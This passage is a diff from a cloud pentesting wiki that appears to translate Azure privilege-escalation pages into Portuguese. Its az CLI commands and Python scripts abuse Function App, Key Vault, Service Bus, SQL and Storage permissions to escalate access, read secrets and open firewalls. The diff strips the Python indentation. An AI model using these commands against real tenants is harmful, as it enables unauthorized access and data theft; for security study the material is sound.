Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) -With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it. - +Com essas permissões, é possível **modificar o contêiner executado por um aplicativo de função** configurado para executar um contêiner. Isso permitiria que um atacante enviasse um aplicativo de contêiner de função do Azure malicioso para o docker hub (por exemplo) e fizesse a função executá-lo. ```bash az functionapp config container set --name \ - --resource-group \ - --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" +--resource-group \ +--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` - ### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) -With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity. - +Com essas permissões, é possível **anexar uma nova identidade gerenciada pelo usuário a uma função**. Se a função for comprometida, isso permitiria escalar privilégios para qualquer identidade gerenciada pelo usuário. ```bash az functionapp identity assign \ - --name \ - --resource-group \ - --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +--name \ +--resource-group \ +--identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` +### Depuração Remota -### Remote Debugging - -It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations. - -It's possible to check if a Function has debugging enabled with: +Também é possível conectar para depurar uma função Azure em execução, como [**explicado na documentação**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). No entanto, por padrão, o Azure desativará essa opção em 2 dias caso o desenvolvedor se esqueça, para evitar deixar configurações vulneráveis. +É possível verificar se uma Função tem a depuração ativada com: ```bash az functionapp show --name --resource-group ``` - -Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`). - +Tendo a permissão `Microsoft.Web/sites/config/write`, também é possível colocar uma função em modo de depuração (o comando a seguir também requer as permissões `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` +### Mudar repositório do Github -### Change Github repo - -I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\ -Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful. - +Tentei mudar o repositório do Github de onde a implantação está ocorrendo executando os seguintes comandos, mas mesmo que tenha mudado, **o novo código não foi carregado** (provavelmente porque está esperando que a Github Action atualize o código).\ +Além disso, a **credencial federada da identidade gerenciada não foi atualizada** permitindo o novo repositório, então parece que isso não é muito útil. ```bash # Remove current az functionapp deployment source delete \ - --name funcGithub \ - --resource-group Resource_Group_1 +--name funcGithub \ +--resource-group Resource_Group_1 # Load new public repo az functionapp deployment source config \ - --name funcGithub \ - --resource-group Resource_Group_1 \ - --repo-url "https://github.com/orgname/azure_func3" \ - --branch main --github-action true +--name funcGithub \ +--resource-group Resource_Group_1 \ +--repo-url "https://github.com/orgname/azure_func3" \ +--branch main --github-action true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index 2db843851..fd66dc8da 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -4,7 +4,7 @@ ## Azure Key Vault -For more information about this service check: +Para mais informações sobre este serviço, consulte: {{#ref}} ../az-services/keyvault.md @@ -12,8 +12,7 @@ For more information about this service check: ### Microsoft.KeyVault/vaults/write -An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC). - +Um atacante com esta permissão será capaz de modificar a política de um cofre de chaves (o cofre de chaves deve estar usando políticas de acesso em vez de RBAC). ```bash # If access policies in the output, then you can abuse it az keyvault show --name @@ -23,16 +22,11 @@ az ad signed-in-user show --query id --output tsv # Assign all permissions az keyvault set-policy \ - --name \ - --object-id \ - --key-permissions all \ - --secret-permissions all \ - --certificate-permissions all \ - --storage-permissions all +--name \ +--object-id \ +--key-permissions all \ +--secret-permissions all \ +--certificate-permissions all \ +--storage-permissions all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index db0b051cb..70eeeba9a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -4,7 +4,7 @@ ## Queue -For more information check: +Para mais informações, consulte: {{#ref}} ../az-services/az-queue-enum.md @@ -12,50 +12,41 @@ For more information check: ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks. - +Um atacante com esta permissão pode visualizar mensagens de uma Azure Storage Queue. Isso permite que o atacante veja o conteúdo das mensagens sem marcá-las como processadas ou alterar seu estado. Isso pode levar ao acesso não autorizado a informações sensíveis, permitindo a exfiltração de dados ou a coleta de inteligência para ataques futuros. ```bash az storage message peek --queue-name --account-name ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Impacto Potencial**: Acesso não autorizado à fila, exposição de mensagens ou manipulação da fila por usuários ou serviços não autorizados. ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action` -With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users. - +Com esta permissão, um atacante pode recuperar e processar mensagens de uma Azure Storage Queue. Isso significa que eles podem ler o conteúdo da mensagem e marcá-la como processada, efetivamente ocultando-a de sistemas legítimos. Isso pode levar à exposição de dados sensíveis, interrupções na forma como as mensagens são tratadas ou até mesmo parar fluxos de trabalho importantes ao tornar mensagens indisponíveis para seus usuários pretendidos. ```bash az storage message get --queue-name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action` -With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages. - +Com essa permissão, um atacante pode adicionar novas mensagens a uma Azure Storage Queue. Isso permite que eles injetem dados maliciosos ou não autorizados na fila, potencialmente acionando ações não intencionais ou interrompendo serviços subsequentes que processam as mensagens. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue. - +Esta permissão permite que um atacante adicione novas mensagens ou atualize as existentes em uma Azure Storage Queue. Ao usar isso, eles poderiam inserir conteúdo prejudicial ou alterar mensagens existentes, potencialmente enganando aplicativos ou causando comportamentos indesejados em sistemas que dependem da fila. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name #Update the message az storage message update --queue-name \ - --id \ - --pop-receipt \ - --content "Updated message content" \ - --visibility-timeout \ - --account-name +--id \ +--pop-receipt \ +--content "Updated message content" \ +--visibility-timeout \ +--account-name ``` +### Ação: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write` - -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. - +Esta permissão permite que um atacante crie ou modifique filas e suas propriedades dentro da conta de armazenamento. Pode ser usada para criar filas não autorizadas, modificar metadados ou alterar listas de controle de acesso (ACLs) para conceder ou restringir acesso. Essa capacidade pode interromper fluxos de trabalho, injetar dados maliciosos, exfiltrar informações sensíveis ou manipular configurações de fila para permitir novos ataques. ```bash az storage queue create --name --account-name @@ -63,15 +54,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` +## Referências -## References - -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index bee8aff28..8436cb56b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -4,16 +4,15 @@ ## Service Bus -For more information check: +Para mais informações, consulte: {{#ref}} ../az-services/az-servicebus-enum.md {{#endref}} -### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` - -You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow. +### Enviar Mensagens. Ação: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` +Você pode recuperar o `PrimaryConnectionString`, que atua como uma credencial para o namespace do Service Bus. Com essa string de conexão, você pode se autenticar completamente como o namespace do Service Bus, permitindo que você envie mensagens para qualquer fila ou tópico e potencialmente interaja com o sistema de maneiras que podem interromper operações, se passar por usuários válidos ou injetar dados maliciosos no fluxo de mensagens. ```python #You need to install the following libraries #pip install azure-servicebus @@ -30,51 +29,51 @@ TOPIC_NAME = "" # Function to send a single message to a Service Bus topic async def send_individual_message(publisher): - # Prepare a single message with updated content - single_message = ServiceBusMessage("Hacktricks-Training: Single Item") - # Send the message to the topic - await publisher.send_messages(single_message) - print("Sent a single message containing 'Hacktricks-Training'") +# Prepare a single message with updated content +single_message = ServiceBusMessage("Hacktricks-Training: Single Item") +# Send the message to the topic +await publisher.send_messages(single_message) +print("Sent a single message containing 'Hacktricks-Training'") # Function to send multiple messages to a Service Bus topic async def send_multiple_messages(publisher): - # Generate a collection of messages with updated content - message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)] - # Send the entire collection of messages to the topic - await publisher.send_messages(message_list) - print("Sent a list of 5 messages containing 'Hacktricks-Training'") +# Generate a collection of messages with updated content +message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)] +# Send the entire collection of messages to the topic +await publisher.send_messages(message_list) +print("Sent a list of 5 messages containing 'Hacktricks-Training'") # Function to send a grouped batch of messages to a Service Bus topic async def send_grouped_messages(publisher): - # Send a grouped batch of messages with updated content - async with publisher: - grouped_message_batch = await publisher.create_message_batch() - for i in range(10): - try: - # Append a message to the batch with updated content - grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}")) - except ValueError: - # If batch reaches its size limit, handle by creating another batch - break - # Dispatch the batch of messages to the topic - await publisher.send_messages(grouped_message_batch) - print("Sent a batch of 10 messages containing 'Hacktricks-Training'") +# Send a grouped batch of messages with updated content +async with publisher: +grouped_message_batch = await publisher.create_message_batch() +for i in range(10): +try: +# Append a message to the batch with updated content +grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}")) +except ValueError: +# If batch reaches its size limit, handle by creating another batch +break +# Dispatch the batch of messages to the topic +await publisher.send_messages(grouped_message_batch) +print("Sent a batch of 10 messages containing 'Hacktricks-Training'") # Main function to execute all tasks async def execute(): - # Instantiate the Service Bus client with the connection string - async with ServiceBusClient.from_connection_string( - conn_str=NAMESPACE_CONNECTION_STR, - logging_enable=True) as sb_client: - # Create a topic sender for dispatching messages to the topic - publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME) - async with publisher: - # Send a single message - await send_individual_message(publisher) - # Send multiple messages - await send_multiple_messages(publisher) - # Send a batch of messages - await send_grouped_messages(publisher) +# Instantiate the Service Bus client with the connection string +async with ServiceBusClient.from_connection_string( +conn_str=NAMESPACE_CONNECTION_STR, +logging_enable=True) as sb_client: +# Create a topic sender for dispatching messages to the topic +publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME) +async with publisher: +# Send a single message +await send_individual_message(publisher) +# Send multiple messages +await send_multiple_messages(publisher) +# Send a batch of messages +await send_grouped_messages(publisher) # Run the asynchronous execution asyncio.run(execute()) @@ -82,11 +81,9 @@ print("Messages Sent") print("----------------------------") ``` +### Receber Mensagens. Ação: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` - -You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows. - +Você pode recuperar o PrimaryConnectionString, que serve como uma credencial para o namespace do Service Bus. Usando essa string de conexão, você pode receber mensagens de qualquer fila ou assinatura dentro do namespace, permitindo acesso a dados potencialmente sensíveis ou críticos, possibilitando a exfiltração de dados ou interferindo no processamento de mensagens e fluxos de trabalho de aplicativos. ```python #You need to install the following libraries #pip install azure-servicebus @@ -102,57 +99,50 @@ SUBSCRIPTION_NAME = "" #Topic Subscription # Function to receive and process messages from a Service Bus subscription async def receive_and_process_messages(): - # Create a Service Bus client using the connection string - async with ServiceBusClient.from_connection_string( - conn_str=NAMESPACE_CONNECTION_STR, - logging_enable=True) as servicebus_client: +# Create a Service Bus client using the connection string +async with ServiceBusClient.from_connection_string( +conn_str=NAMESPACE_CONNECTION_STR, +logging_enable=True) as servicebus_client: - # Get the Subscription Receiver object for the specified topic and subscription - receiver = servicebus_client.get_subscription_receiver( - topic_name=TOPIC_NAME, - subscription_name=SUBSCRIPTION_NAME, - max_wait_time=5 - ) +# Get the Subscription Receiver object for the specified topic and subscription +receiver = servicebus_client.get_subscription_receiver( +topic_name=TOPIC_NAME, +subscription_name=SUBSCRIPTION_NAME, +max_wait_time=5 +) - async with receiver: - # Receive messages with a defined maximum wait time and count - received_msgs = await receiver.receive_messages( - max_wait_time=5, - max_message_count=20 - ) - for msg in received_msgs: - print("Received: " + str(msg)) - # Complete the message to remove it from the subscription - await receiver.complete_message(msg) +async with receiver: +# Receive messages with a defined maximum wait time and count +received_msgs = await receiver.receive_messages( +max_wait_time=5, +max_message_count=20 +) +for msg in received_msgs: +print("Received: " + str(msg)) +# Complete the message to remove it from the subscription +await receiver.complete_message(msg) # Run the asynchronous message processing function asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` - ### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC). - +Se você tiver essas permissões, pode escalar privilégios lendo ou criando chaves de acesso compartilhado. Essas chaves permitem controle total sobre o namespace do Service Bus, incluindo gerenciamento de filas, tópicos e envio/recebimento de mensagens, potencialmente contornando controles de acesso baseados em função (RBAC). ```bash az servicebus namespace authorization-rule update \ - --resource-group \ - --namespace-name \ - --name RootManageSharedAccessKey \ - --rights Manage Listen Send +--resource-group \ +--namespace-name \ +--name RootManageSharedAccessKey \ +--rights Manage Listen Send ``` +## Referências -## References - -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes -- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless -- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus +- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/pt-br/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless +- https://learn.microsoft.com/pt-br/azure/role-based-access-control/permissions/integration#microsoftservicebus {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 76dbfdcfd..c6ab95b78 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -4,7 +4,7 @@ ## SQL Database Privesc -For more information about SQL Database check: +Para mais informações sobre SQL Database, consulte: {{#ref}} ../az-services/az-sql.md @@ -12,104 +12,88 @@ For more information about SQL Database check: ### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" -With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access. - +Com essas permissões, um usuário pode realizar escalonamento de privilégios atualizando ou criando servidores Azure SQL e modificando configurações críticas, incluindo credenciais administrativas. Essa permissão permite que o usuário atualize propriedades do servidor, incluindo a senha do administrador do SQL Server, possibilitando acesso ou controle não autorizado sobre o servidor. Eles também podem criar novos servidores, potencialmente introduzindo infraestrutura sombra para fins maliciosos. Isso se torna particularmente crítico em ambientes onde "Microsoft Entra Authentication Only" está desativado, pois podem explorar a autenticação baseada em SQL para obter acesso irrestrito. ```bash # Change the server password az sql server update \ - --name \ - --resource-group \ - --admin-password +--name \ +--resource-group \ +--admin-password # Create a new server az sql server create \ - --name \ - --resource-group \ - --location \ - --admin-user \ - --admin-password +--name \ +--resource-group \ +--location \ +--admin-user \ +--admin-password ``` - -Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it: - +Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado, para habilitá-lo: ```bash az sql server update \ - --name \ - --resource-group \ - --enable-public-network true +--name \ +--resource-group \ +--enable-public-network true ``` - ### "Microsoft.Sql/servers/firewallRules/write" -An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources. - +Um atacante pode manipular regras de firewall em servidores Azure SQL para permitir acesso não autorizado. Isso pode ser explorado para abrir o servidor para endereços IP específicos ou intervalos inteiros de IP, incluindo IPs públicos, permitindo acesso para atores maliciosos. Esta atividade de pós-exploração pode ser usada para contornar controles de segurança de rede existentes, estabelecer persistência ou facilitar movimento lateral dentro do ambiente ao expor recursos sensíveis. ```bash # Create Firewall Rule az sql server firewall-rule create \ - --name \ - --server \ - --resource-group \ - --start-ip-address \ - --end-ip-address +--name \ +--server \ +--resource-group \ +--start-ip-address \ +--end-ip-address # Update Firewall Rule az sql server firewall-rule update \ - --name \ - --server \ - --resource-group \ - --start-ip-address \ - --end-ip-address +--name \ +--server \ +--resource-group \ +--start-ip-address \ +--end-ip-address ``` - -Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule. -NOTE: It is necesary to have the public access enabled +Além disso, a permissão `Microsoft.Sql/servers/outboundFirewallRules/delete` permite que você exclua uma Regra de Firewall. +NOTA: É necessário ter o acesso público habilitado ### ""Microsoft.Sql/servers/ipv6FirewallRules/write" -With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access." - +Com essa permissão, você pode criar, modificar ou excluir regras de firewall IPv6 em um Azure SQL Server. Isso poderia permitir que um atacante ou usuário autorizado contornasse as configurações de segurança de rede existentes e obtivesse acesso não autorizado ao servidor. Ao adicionar uma regra que permite tráfego de qualquer endereço IPv6, o atacante poderia abrir o servidor para acesso externo. ```bash az sql server firewall-rule create \ - --server \ - --resource-group \ - --name \ - --start-ip-address \ - --end-ip-address +--server \ +--resource-group \ +--name \ +--start-ip-address \ +--end-ip-address ``` - -Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule. -NOTE: It is necesary to have the public access enabled +Além disso, a permissão `Microsoft.Sql/servers/ipv6FirewallRules/delete` permite que você exclua uma Regra de Firewall. +NOTA: É necessário ter o acesso público habilitado ### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" -With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server: - +Com essas permissões, você pode privesc em um ambiente Azure SQL Server acessando bancos de dados SQL e recuperando informações críticas. Usando o comando abaixo, um atacante ou usuário autorizado pode se definir ou definir outra conta como o administrador do Azure AD. Se "Microsoft Entra Authentication Only" estiver habilitado, você poderá acessar o servidor e suas instâncias. Aqui está o comando para definir o administrador do Azure AD para um servidor SQL: ```bash az sql server ad-admin create \ - --server \ - --resource-group \ - --display-name \ - --object-id +--server \ +--resource-group \ +--display-name \ +--object-id ``` - ### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" -With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication. - +Com essas permissões, você pode configurar e impor "Apenas Autenticação do Microsoft Entra" em um Azure SQL Server, o que pode facilitar a escalada de privilégios em certos cenários. Um atacante ou um usuário autorizado com essas permissões pode habilitar ou desabilitar a autenticação apenas do Azure AD. ```bash #Enable az sql server azure-ad-only-auth enable \ - --server \ - --resource-group +--server \ +--resource-group #Disable az sql server azure-ad-only-auth disable \ - --server \ - --resource-group +--server \ +--resource-group ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index c2545f9e2..dc1a09f5b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -4,7 +4,7 @@ ## Storage Privesc -For more information about storage check: +Para mais informações sobre armazenamento, consulte: {{#ref}} ../az-services/az-storage.md @@ -12,26 +12,21 @@ For more information about storage check: ### Microsoft.Storage/storageAccounts/listkeys/action -A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts. - +Um principal com esta permissão poderá listar (e os valores secretos) das **chaves de acesso** das contas de armazenamento. Permitindo que o principal eleve seus privilégios sobre as contas de armazenamento. ```bash az storage account keys list --account-name ``` - ### Microsoft.Storage/storageAccounts/regenerateKey/action -A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts. - -Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one: +Um principal com esta permissão poderá renovar e obter o novo valor secreto das **chaves de acesso** das contas de armazenamento. Permitindo que o principal escale suas permissões sobre as contas de armazenamento. +Além disso, na resposta, o usuário receberá o valor da chave renovada e também da não renovada: ```bash az storage account keys renew --account-name --key key2 ``` - ### Microsoft.Storage/storageAccounts/write -A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies. - +Um principal com esta permissão poderá criar ou atualizar uma conta de armazenamento existente, atualizando qualquer configuração, como regras de rede ou políticas. ```bash # e.g. set default action to allow so network restrictions are avoided az storage account update --name --default-action Allow @@ -39,118 +34,101 @@ az storage account update --name --default-action Allow # e.g. allow an IP address az storage account update --name --add networkRuleSet.ipRules value= ``` - ## Blobs Specific privesc ### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete -The first permission allows to **modify immutability policies** in containers and the second to delete them. +A primeira permissão permite **modificar políticas de imutabilidade** em contêineres e a segunda permite excluí-las. > [!NOTE] -> Note that if an immutability policy is in lock state, you cannot do neither of both - +> Observe que se uma política de imutabilidade estiver em estado de bloqueio, você não poderá fazer nenhuma das duas ações. ```bash az storage container immutability-policy delete \ - --account-name \ - --container-name \ - --resource-group +--account-name \ +--container-name \ +--resource-group az storage container immutability-policy update \ - --account-name \ - --container-name \ - --resource-group \ - --period +--account-name \ +--container-name \ +--resource-group \ +--period ``` - ## File shares specific privesc ### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action -This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem. +Isso deve permitir que um usuário com essa permissão possa assumir a propriedade de arquivos dentro do sistema de arquivos compartilhado. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action -This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem. +Isso deve permitir que um usuário com essa permissão possa modificar as permissões dos arquivos dentro do sistema de arquivos compartilhado. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action -This should allow a user having this permission to be able to perform actions inside a file system as a superuser. +Isso deve permitir que um usuário com essa permissão possa realizar ações dentro de um sistema de arquivos como um superusuário. ### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) -With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data. - +Com essa permissão, um atacante pode criar e atualizar (se tiver a permissão `Microsoft.Storage/storageAccounts/localusers/read`) um novo usuário local para uma conta de Armazenamento do Azure (configurada com namespace hierárquico), incluindo a especificação das permissões e do diretório inicial do usuário. Essa permissão é significativa porque permite que o atacante se conceda acesso a uma conta de armazenamento com permissões específicas, como leitura (r), gravação (w), exclusão (d) e listagem (l) e mais. Além disso, os métodos de autenticação que isso utiliza podem ser senhas geradas pelo Azure e pares de chaves SSH. Não há verificação se um usuário já existe, então você pode sobrescrever outros usuários que já estão lá. O atacante poderia escalar seus privilégios e obter acesso SSH à conta de armazenamento, potencialmente expondo ou comprometendo dados sensíveis. ```bash az storage account local-user create \ - --account-name \ - --resource-group \ - --name \ - --permission-scope permissions=rwdl service=blob resource-name= \ - --home-directory \ - --has-ssh-key false/true # Depends on the auth method to use +--account-name \ +--resource-group \ +--name \ +--permission-scope permissions=rwdl service=blob resource-name= \ +--home-directory \ +--has-ssh-key false/true # Depends on the auth method to use ``` - ### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action -With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content. - +Com esta permissão, um atacante pode regenerar a senha de um usuário local em uma conta de Armazenamento do Azure. Isso concede ao atacante a capacidade de obter novas credenciais de autenticação (como uma senha SSH ou SFTP) para o usuário. Ao aproveitar essas credenciais, o atacante poderia obter acesso não autorizado à conta de armazenamento, realizar transferências de arquivos ou manipular dados dentro dos contêineres de armazenamento. Isso poderia resultar em vazamento de dados, corrupção ou 